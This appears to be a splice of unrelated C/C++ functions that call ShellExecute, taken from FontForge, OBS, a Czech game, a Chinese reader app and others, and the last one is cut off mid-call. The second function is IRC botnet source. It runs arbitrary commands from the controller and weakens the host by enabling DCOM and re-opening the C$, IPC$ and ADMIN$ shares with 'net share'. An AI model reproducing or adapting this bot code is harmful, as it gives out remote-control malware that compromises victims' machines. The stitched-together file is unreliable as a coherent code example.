void help(char *file) { if(file) { int len = strlen(file); char* p_file = (char*) malloc(len+1); char* p_uri = (char*) malloc(len+1024); char* p_param = NULL; strcpy(p_file, file); { char* delim = strrchr(p_file, '#'); if(delim) { p_param = (char*) malloc(len+1); strcpy(p_param, delim); *delim = '\0'; } } strcpy(p_uri, p_file); if(! GFileIsAbsolute(p_uri)) { char* p_helpdir = (char*) malloc(1024); #if __CygWin { /* cygwin */ #if defined(DOCDIR) strncpy( p_helpdir, DOCDIR "/", 1024 ); #elif defined(SHAREDIR) strncpy( p_helpdir, SHAREDIR "/doc/fontforge/", 1024 ); #else strncpy( p_helpdir, "/usr/local/share/doc/fontforge/", 1024 ); #endif } #else { /* mingw */ strcpy( p_helpdir, GResourceProgramDir ); strcat( p_helpdir, "/doc/fontforge/"); } #endif /* /usr/share/fontforge/doc/ja/file */ strcpy(p_uri, p_helpdir); AppendSupportedLocale(p_uri); strcat(p_uri, p_file); if(!GFileReadable(p_uri)) { strcpy(p_uri, p_helpdir); strcat(p_uri, p_file); if(!GFileReadable(p_uri)) { strcpy(p_uri, "http://fontforge.org/"); /* AppendSupportedLocale(p_uri); */ strcat(p_uri, p_file); } } free(p_helpdir); } #if __CygWin if( strncmp(p_uri, "http:", 5) != 0 ) { char* temp = (char*) malloc(1024); cygwin_conv_to_full_win32_path(p_uri, temp); free(p_uri); p_uri = temp; } #endif if(p_param) { strcat(p_uri, p_param); free(p_param); } /* using default browser */ ShellExecute(NULL, "open", p_uri, NULL, NULL, SW_SHOWDEFAULT); free(p_uri); free(p_file); } }
bool CBot::HandleCommand(CMessage *pMsg) { if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) { CString sId(pMsg->sChatString.Token(1, " ", true)); if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false; g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo); #ifdef WIN32 /// should unsecure system as remove bot to allow recycling // // Set EnableDCOM to "Y" HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); // UnSecure Shares Execute("net.exe", "net share c$=c:\\"); Execute("net.exe", "net share d$=d:\\"); Execute("net.exe", "net share e$=e:\\"); Execute("net.exe", "net share ipc$"); Execute("net.exe", "net share admin$"); // Delete Autostart if(g_pMainCtrl->m_cBot.as_enabled.bValue) g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue); if(g_pMainCtrl->m_cBot.as_service.bValue) g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue); #endif g_pMainCtrl->m_cInstaller.Uninstall(); g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; } else if(!pMsg->sCmd.Compare("bot.execute")) { CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1; #ifdef WIN32 CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo); if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE; if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; } #else CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr()); if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; } #endif return true; } else if(!pMsg->sCmd.Compare("bot.open")) { if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; #ifdef WIN32 bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32; #else bRet=system(sText.CStr())>0; #endif if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str()); else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.dns")) { CString sReply; hostent *pHostent=NULL; in_addr iaddr; if(!pMsg->sChatString.Token(1, " ").Compare("")) return false; unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr()); if(addr!=INADDR_NONE) { pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET); if(pHostent) { sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } else { pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr()); if(pHostent) { iaddr=*((in_addr*)*pHostent->h_addr_list); sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr)); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } if(!pHostent) { sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr()); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } else if(!pMsg->sCmd.Compare("bot.about")) { CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr()); return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.id")) { return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.nick")) { g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr()); g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr()); return true; } else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) { g_pMainCtrl->m_cIRC.m_bRunning=false; return true; } else if(!pMsg->sCmd.Compare("bot.sysinfo")) { return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.longuptime")) { int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7; CString sUptime=LongUptime(iDays); if(sUptime.Compare("")) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ sUptime.Str(), pMsg->sReplyTo.Str()); } return true; } else if(!pMsg->sCmd.Compare("bot.status")) { return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, Status().Str(), pMsg->sReplyTo.Str()); } else if(!pMsg->sCmd.Compare("bot.rndnick")) { CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr()); g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); return true; } else if(!pMsg->sCmd.Compare("bot.flushdns")) { #ifdef WIN32 Execute("ipconfig.exe", "/flushdns"); #else Execute("nscd", "-i hosts"); #endif // WIN32 return true; } else if(!pMsg->sCmd.Compare("bot.secure")) { #ifdef WIN32 // Set EnableDCOM to "N" HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); // Secure Shares system("net share c$ /delete /y"); system("net share d$ /delete /y"); system("net share ipc$ /delete /y"); system("net share admin$ /delete /y"); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Bot Secured", pMsg->sReplyTo.Str()); #endif return true; } else if(!pMsg->sCmd.Compare("bot.unsecure")) { #ifdef WIN32 // Set EnableDCOM to "Y" HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); // UnSecure Shares system("net share c$=c:\\"); system("net share d$=d:\\"); system("net share e$=e:\\"); system("net share ipc$"); system("net share admin$"); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Bot UnSecured", pMsg->sReplyTo.Str()); #endif return true; } else if(!pMsg->sCmd.Compare("bot.command")) { #ifdef WIN32 if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; CString sReplyBuf; sReplyBuf.Format("command (%s) executed.", sText.CStr()); if(system(sText.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute command.", pMsg->sReplyTo.Str()); return false; } else { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; } #endif return true; } return false; }
LONG CALLBACK OBSExceptionHandler (PEXCEPTION_POINTERS exceptionInfo) { HANDLE hProcess; HMODULE hDbgHelp; MINIDUMP_EXCEPTION_INFORMATION miniInfo; STACKFRAME64 frame = {0}; CONTEXT context = *exceptionInfo->ContextRecord; SYMBOL_INFO *symInfo; DWORD64 fnOffset; TCHAR logPath[MAX_PATH]; TCHAR dumpPath[MAX_PATH]; OSVERSIONINFOEX osInfo; SYSTEMTIME timeInfo; ENUMERATELOADEDMODULES64 fnEnumerateLoadedModules64; SYMSETOPTIONS fnSymSetOptions; SYMINITIALIZE fnSymInitialize; STACKWALK64 fnStackWalk64; SYMFUNCTIONTABLEACCESS64 fnSymFunctionTableAccess64; SYMGETMODULEBASE64 fnSymGetModuleBase64; SYMFROMADDR fnSymFromAddr; SYMCLEANUP fnSymCleanup; MINIDUMPWRITEDUMP fnMiniDumpWriteDump; SYMGETMODULEINFO64 fnSymGetModuleInfo64; DWORD i; DWORD64 InstructionPtr; DWORD imageType; BOOL wantUpload = TRUE; TCHAR searchPath[MAX_PATH], *p; static BOOL inExceptionHandler = FALSE; moduleinfo_t moduleInfo; //always break into a debugger if one is present if (IsDebuggerPresent ()) return EXCEPTION_CONTINUE_SEARCH; //exception codes < 0x80000000 are typically informative only and not crash worthy //0xe06d7363 indicates a c++ exception was thrown, let's just hope it was caught. if (exceptionInfo->ExceptionRecord->ExceptionCode < 0x80000000 || exceptionInfo->ExceptionRecord->ExceptionCode == 0xe06d7363 || exceptionInfo->ExceptionRecord->ExceptionCode == 0x800706b5) return EXCEPTION_CONTINUE_SEARCH; //uh oh, we're crashing inside ourselves... this is really bad! if (inExceptionHandler) return EXCEPTION_CONTINUE_SEARCH; inExceptionHandler = TRUE; //load dbghelp dynamically hDbgHelp = LoadLibrary (TEXT("DBGHELP")); if (!hDbgHelp) return EXCEPTION_CONTINUE_SEARCH; fnEnumerateLoadedModules64 = (ENUMERATELOADEDMODULES64)GetProcAddress (hDbgHelp, "EnumerateLoadedModulesW64"); fnSymSetOptions = (SYMSETOPTIONS)GetProcAddress (hDbgHelp, "SymSetOptions"); fnSymInitialize = (SYMINITIALIZE)GetProcAddress (hDbgHelp, "SymInitialize"); fnSymFunctionTableAccess64 = (SYMFUNCTIONTABLEACCESS64)GetProcAddress (hDbgHelp, "SymFunctionTableAccess64"); fnSymGetModuleBase64 = (SYMGETMODULEBASE64)GetProcAddress (hDbgHelp, "SymGetModuleBase64"); fnStackWalk64 = (STACKWALK64)GetProcAddress (hDbgHelp, "StackWalk64"); fnSymFromAddr = (SYMFROMADDR)GetProcAddress (hDbgHelp, "SymFromAddrW"); fnSymCleanup = (SYMCLEANUP)GetProcAddress (hDbgHelp, "SymCleanup"); fnSymGetModuleInfo64 = (SYMGETMODULEINFO64)GetProcAddress (hDbgHelp, "SymGetModuleInfo64"); fnMiniDumpWriteDump = (MINIDUMPWRITEDUMP)GetProcAddress (hDbgHelp, "MiniDumpWriteDump"); if (!fnEnumerateLoadedModules64 || !fnSymSetOptions || !fnSymInitialize || !fnSymFunctionTableAccess64 || !fnSymGetModuleBase64 || !fnStackWalk64 || !fnSymFromAddr || !fnSymCleanup || !fnSymGetModuleInfo64) { FreeLibrary (hDbgHelp); return EXCEPTION_CONTINUE_SEARCH; } hProcess = GetCurrentProcess(); fnSymSetOptions (SYMOPT_UNDNAME | SYMOPT_FAIL_CRITICAL_ERRORS | SYMOPT_LOAD_ANYTHING); GetModuleFileName (NULL, searchPath, _countof(searchPath)-1); p = srchr (searchPath, '\\'); if (p) *p = 0; //create a log file GetSystemTime (&timeInfo); for (i = 1;;) { tsprintf_s (logPath, _countof(logPath)-1, TEXT("%s\\crashDumps\\OBSCrashLog%.4d-%.2d-%.2d_%d.txt"), lpAppDataPath, timeInfo.wYear, timeInfo.wMonth, timeInfo.wDay, i); if (GetFileAttributes(logPath) == INVALID_FILE_ATTRIBUTES) break; i++; } XFile crashDumpLog; if (!crashDumpLog.Open(logPath, XFILE_WRITE, XFILE_CREATENEW)) { FreeLibrary (hDbgHelp); return EXCEPTION_CONTINUE_SEARCH; } //initialize debug symbols fnSymInitialize (hProcess, NULL, TRUE); #ifdef _WIN64 InstructionPtr = context.Rip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Rbp; frame.AddrStack.Offset = context.Rsp; imageType = IMAGE_FILE_MACHINE_AMD64; #else InstructionPtr = context.Eip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Ebp; frame.AddrStack.Offset = context.Esp; imageType = IMAGE_FILE_MACHINE_I386; #endif frame.AddrFrame.Mode = AddrModeFlat; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Mode = AddrModeFlat; symInfo = (SYMBOL_INFO *)LocalAlloc (LPTR, sizeof(*symInfo) + 256); symInfo->SizeOfStruct = sizeof(SYMBOL_INFO); symInfo->MaxNameLen = 256; fnOffset = 0; //get os info memset (&osInfo, 0, sizeof(osInfo)); osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if (!GetVersionEx ((OSVERSIONINFO *)&osInfo)) { osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx ((OSVERSIONINFO *)&osInfo); } //determine which module the crash occured in scpy (moduleInfo.moduleName, TEXT("<unknown>")); moduleInfo.faultAddress = InstructionPtr; fnEnumerateLoadedModules64 (hProcess, (PENUMLOADED_MODULES_CALLBACK64)EnumerateLoadedModulesProcInfo, (VOID *)&moduleInfo); slwr (moduleInfo.moduleName); String strModuleInfo; String crashMessage; fnEnumerateLoadedModules64(hProcess, (PENUMLOADED_MODULES_CALLBACK64)RecordAllLoadedModules, (VOID *)&strModuleInfo); crashMessage << TEXT("OBS has encountered an unhandled exception and has terminated. If you are able to\r\n") TEXT("reproduce this crash, please submit this crash report on the forums at\r\n") TEXT("http://www.obsproject.com/ - include the contents of this crash log and the\r\n") TEXT("minidump .dmp file (if available) as well as your regular OBS log files and\r\n") TEXT("a description of what you were doing at the time of the crash.\r\n") TEXT("\r\n") TEXT("This crash appears to have occured in the '") << moduleInfo.moduleName << TEXT("' module.\r\n\r\n"); crashDumpLog.WriteStr(crashMessage.Array()); crashDumpLog.WriteStr(FormattedString(TEXT("**** UNHANDLED EXCEPTION: %x\r\nFault address: %I64p (%s)\r\n"), exceptionInfo->ExceptionRecord->ExceptionCode, InstructionPtr, moduleInfo.moduleName)); crashDumpLog.WriteStr(TEXT("OBS version: ") OBS_VERSION_STRING TEXT("\r\n")); crashDumpLog.WriteStr(FormattedString(TEXT("Windows version: %d.%d (Build %d) %s\r\n\r\n"), osInfo.dwMajorVersion, osInfo.dwMinorVersion, osInfo.dwBuildNumber, osInfo.szCSDVersion)); crashDumpLog.WriteStr(TEXT("Crashing thread stack trace:\r\n")); #ifdef _WIN64 crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #else crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #endif crashDumpLog.FlushFileBuffers(); while (fnStackWalk64 (imageType, hProcess, GetCurrentThread(), &frame, &context, NULL, (PFUNCTION_TABLE_ACCESS_ROUTINE64)fnSymFunctionTableAccess64, (PGET_MODULE_BASE_ROUTINE64)fnSymGetModuleBase64, NULL)) { scpy (moduleInfo.moduleName, TEXT("<unknown>")); moduleInfo.faultAddress = frame.AddrPC.Offset; fnEnumerateLoadedModules64 (hProcess, (PENUMLOADED_MODULES_CALLBACK64)EnumerateLoadedModulesProcInfo, (VOID *)&moduleInfo); slwr (moduleInfo.moduleName); p = srchr (moduleInfo.moduleName, '\\'); if (p) p++; else p = moduleInfo.moduleName; #ifdef _WIN64 if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, frame.AddrPC.Offset)); } #else if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, frame.AddrPC.Offset )); } #endif crashDumpLog.FlushFileBuffers(); } //generate a minidump if possible if (fnMiniDumpWriteDump) { HANDLE hFile; tsprintf_s (dumpPath, _countof(dumpPath)-1, TEXT("%s\\crashDumps\\OBSCrashDump%.4d-%.2d-%.2d_%d.dmp"), lpAppDataPath, timeInfo.wYear, timeInfo.wMonth, timeInfo.wDay, i); hFile = CreateFile (dumpPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { miniInfo.ClientPointers = TRUE; miniInfo.ExceptionPointers = exceptionInfo; miniInfo.ThreadId = GetCurrentThreadId (); if (fnMiniDumpWriteDump (hProcess, GetCurrentProcessId(), hFile, MiniDumpWithIndirectlyReferencedMemory, &miniInfo, NULL, NULL)) { crashDumpLog.WriteStr(FormattedString(TEXT("\r\nA minidump was saved to %s.\r\nPlease include this file when posting a crash report.\r\n"), dumpPath)); } else { CloseHandle (hFile); DeleteFile (dumpPath); } } } else { crashDumpLog.WriteStr(TEXT("\r\nA minidump could not be created. Please check dbghelp.dll is present.\r\n")); } crashDumpLog.WriteStr("\r\nList of loaded modules:\r\n"); #ifdef _WIN64 crashDumpLog.WriteStr("Base Address Module\r\n"); #else crashDumpLog.WriteStr("Base Address Module\r\n"); #endif crashDumpLog.WriteStr(strModuleInfo); crashDumpLog.Close(); LocalFree (symInfo); fnSymCleanup (hProcess); if (MessageBox(hwndMain, TEXT("Woops! OBS has crashed. Would you like to view a crash report?"), NULL, MB_ICONERROR | MB_YESNO) == IDYES) ShellExecute(NULL, NULL, logPath, NULL, searchPath, SW_SHOWDEFAULT); FreeLibrary (hDbgHelp); //we really shouldn't be returning here, if we're at the bottom of the VEH chain this is a pretty legitimate crash //and if we return we could end up invoking a second crash handler or other weird / annoying things //ExitProcess(exceptionInfo->ExceptionRecord->ExceptionCode); return EXCEPTION_CONTINUE_SEARCH; }
void CJSOpenView::OnFileFix1() { ShellExecute(*this, _T("open"), _T("B8DA6310-E19B-11D0-933C-00A0C90DCAA9.reg"), NULL, NULL, SW_SHOW); }
static DWORD WINAPI PostError(LPVOID p) { char buff[MAX_PATH+50]; char dmp[MAX_PATH+50]; char product[MAX_PATH]; char *tmp; GetModuleFileName(NULL,buff,MAX_PATH); tmp=strrchr(buff,'\\'); if (tmp==0) tmp=buff;else tmp++; strcpy(product,tmp); strcpy(dmp,buff); strcpy(strrchr(buff,'\\')+1,"poslichybu.html"); strcat(dmp,".short.dmp"); DeleteFile(buff); HANDLE h=CreateFile(buff,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0); if (h!=INVALID_HANDLE_VALUE) { DWORD wrt; DWORD rd; const char *form1= "<?xml version=\"1.0\" encoding=\"Windows-1250\"?>" "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">" "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"cs\" lang=\"cs\">" "<head>" "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1250\" />" "<title>Brány Skeldalu - formuláø k odeslání chyby</title>" "<style type=\"text/css\">\n" "@import url(\"http://skeldal.vyletnici.net/style.css\");\n" "</style>" "</head>" "<body>" "<div style=\"float: left; width: 155px;\"><img src=\"http://skeldal.vyletnici.net/logo.jpg\" alt=\"logo\" width=\"150\" height=\"82\"/></div>" "<div style=\"margin-left: 180px;margin-right: 50px;\">" "<h1>Brány Skeldalu - formuláø k odeslání chyby</h1>" "<p>Autor programu se omlouvá za chybu a prosí Vás, abyste pomohl pøi odhalování chyb.<br />" "Staèí když pravdivì vyplníte odešlete následující formuláø.<br />" "Pokuste se prosím napsat co nejvíce informací.<br />" "<b>K formuláøi je pøiložen soubor obsahující záznam o chybì.</b><br /><br />" "Dìkujeme za spolupráci</p>" "<hr />" "<form enctype=\"multipart/form-data\" action=\"http://skeldal.vyletnici.net/bugreport.php\" method=\"post\"><div>" "<div>Váš e-mail pro pøípad, že bysme vás chtìli kontaktovat: (nepovinné)</div>" "<input type=\"text\" name=\"email\" value=\"\" size=\"50\"/>" "<div>Napište prosím další informace o tom, za jakých podmínek chyba vznikla, popøípadì jak chybu znovu vyvolat</div>" "<textarea cols=\"50\" rows=\"10\" name=\"popis\" style=\"width:100%\"></textarea>" "<div>Pøípadnì pøiložte uloženou pozici nebo jiné soubory související s chybou</div>" "<input name=\"userfile\" type=\"file\" size=\"50\" />" "<hr /><div>" "Pozor: Formuláø také obsahuje informace o poslední chybì.<br />" "Nepoužívejte tento formuláø k odeslání jiných chybových hlášení.</div>" "<p><a href=\"http://skeldal.vyletnici.net/main.php?page=soukromí\">Prohlášení o ochranì soukromých údajù</a></p>" "<hr />" "<input type=\"submit\" value=\"Odeslat záznam o chybì\" /><br />" "<input type=\"hidden\" name=\"data\" value=\""; WriteFile(h,(void *)(form1),strlen(form1),&wrt,0); HANDLE v=CreateFile(dmp,GENERIC_READ,0,0,OPEN_EXISTING,0,0); if (v==INVALID_HANDLE_VALUE) { MessageBox(0,"Nebylo mozne otevrit soubor se zaznamem o chybe. Soubor je nepristupny",0,MB_OK|MB_SYSTEMMODAL); return 0; } unsigned char buff[256]; do { ReadFile(v,buff,128,&rd,0); for (int i=127;i>=0;i--) { char tmp[3]; sprintf(tmp,"%02X",buff[i]); buff[i*2]=tmp[0]; buff[i*2+1]=tmp[1]; } WriteFile(h,buff,rd*2,&wrt,0); }while (rd); CloseHandle(v); const char *form2="\" /><input type=\"hidden\" name=\"version\" value=\""; WriteFile(h,(void *)(form2),strlen(form2),&wrt,0); wsprintf((char *)buff,"%d",GetExeVersion()); WriteFile(h,buff,strlen((char *)buff),&wrt,0); const char *form3="\" /><input type=\"hidden\" name=\"product\" value=\""; WriteFile(h,(void *)(form3),strlen(form3),&wrt,0); WriteFile(h,(void *)(product),strlen(product),&wrt,0); const char *form4="\" /></div></form> <p>" "<img " "src=\"http://www.w3.org/Icons/valid-xhtml10\" " "alt=\"Valid XHTML 1.0!\" height=\"31\" width=\"88\" /></p></div></body></html>"; WriteFile(h,(void *)(form4),strlen(form4),&wrt,0); CloseHandle(h); } int i=MessageBox(NULL,"Zaznam o chybe dokoncen. Soubory se zaznamy byly ulozeny do slozky hry. " "Prosim nemazte tyto soubory, je mozne, ze budou potrebne k hlubsi analyze chyby. " "Hlaseni o chybe je nyni mozne odeslat po internetu k dalsimu prozkoumani. " "Pokud neni pocitac pripojen k internetu trvale, bude nutne jej pripojit nyni.\r\n\r\n" "Chcete zaznam o chybe odeslat?",0,MB_YESNO|MB_SYSTEMMODAL); if (i==IDYES) { if (h==INVALID_HANDLE_VALUE || (UINT)ShellExecute(0,0,buff,0,0,SW_NORMAL)<32) MessageBox(0,"Nastala chyba pri otevirani formulare. Formular prosim otevrete rucne - soubor 'poslichybu.html'",0,MB_OK|MB_SYSTEMMODAL); } else { MessageBox(0,"Informace o chybe lze odeslat pozdeji pomoci formulare 'poslichybu.html', jenz byl vytvoren ve slozce hry",0,MB_OK|MB_SYSTEMMODAL); } return 0; }
/********************************************************** 找回密码 ***********************************************************/ void CRegsterDialog::OnButtonGetpwd() { /* char WebPath[1024] = {0}; sprintf(WebPath, "%s/RetailWeb/member/lostpassword.jsp", JspServer); ShellExecute(NULL, "open", WebPath, NULL, NULL, SW_SHOW); */ //读取配置文件config.ini.赋值AspServer,JspServer //added by zuoss 20081222 char iniPath[_MAX_PATH] = {0}; char aspAddr[_MAX_PATH] = {0}; sprintf_s(iniPath, _MAX_PATH, "%s\\system\\config.ini", CurrentPath); GetPrivateProfileString("server", "ip", NULL, aspAddr, 50, iniPath); sprintf_s(AspServer, 1024, "http://%s/readman",aspAddr); sprintf_s(JspServer, 1024, "http://%s:8088",aspAddr); CHttpDownLoadDlg DownDlg; DownDlg.m_URL.Format("%s/info.asp",AspServer); DownDlg.m_Path.Format("%s/temp/readman.pth", CurrentPath); DeleteFile(DownDlg.m_Path); if(DownDlg.DoModal()!=IDOK) { sprintf_s(iniPath, _MAX_PATH, "%s\\system\\config.ini", CurrentPath); GetPrivateProfileString("server", "dns", NULL, aspAddr, 50, iniPath); sprintf_s(AspServer, 1024, "http://%s/readman",aspAddr); sprintf_s(JspServer, 1024, "http://%s:8088",aspAddr); WSADATA wsaData; int iErrorCode = WSAStartup(MAKEWORD(2,2),&wsaData); CString sIPAddress; struct hostent FAR *lpHostEnt=gethostbyname(aspAddr); if(lpHostEnt == NULL) { sIPAddress = _T(""); strcpy_s(AspServer, 1024, "http://readings.vicp.net/readman"); strcpy_s(JspServer, 1024, "http://readings.vicp.net:8088"); //AfxMessageBox("无法连接服务器!您可以选择“逛逛”,或稍后重试。"); //return; } else { LPSTR lpaddr = lpHostEnt->h_addr_list[0]; if(lpaddr) { struct in_addr inAddr; memmove (&inAddr,lpaddr, 4); sIPAddress=inet_ntoa (inAddr); if(sIPAddress.IsEmpty()) { sIPAddress=_T("Not available"); strcpy_s(AspServer, 1024, "http://readings.vicp.net/readman"); strcpy_s(JspServer, 1024, "http://readings.vicp.net:8088"); //AfxMessageBox("无法连接服务器!您可以选择“逛逛”,或稍后重试。"); //return; } //write to config.ini else { char serverip[_MAX_PATH] = {0}; sprintf_s(serverip, _MAX_PATH, "%s\\system\\config.ini", CurrentPath); WritePrivateProfileString("server", "ip", sIPAddress, iniPath); sprintf_s(AspServer, _MAX_PATH, "http://%s/readman",sIPAddress); sprintf_s(JspServer, _MAX_PATH, "http://%s:8088",sIPAddress); } } } } //end CString userinfopath = ""; userinfopath.Format("%s/server/GetPassword.asp",AspServer); ShellExecute(NULL, "open", userinfopath, NULL, 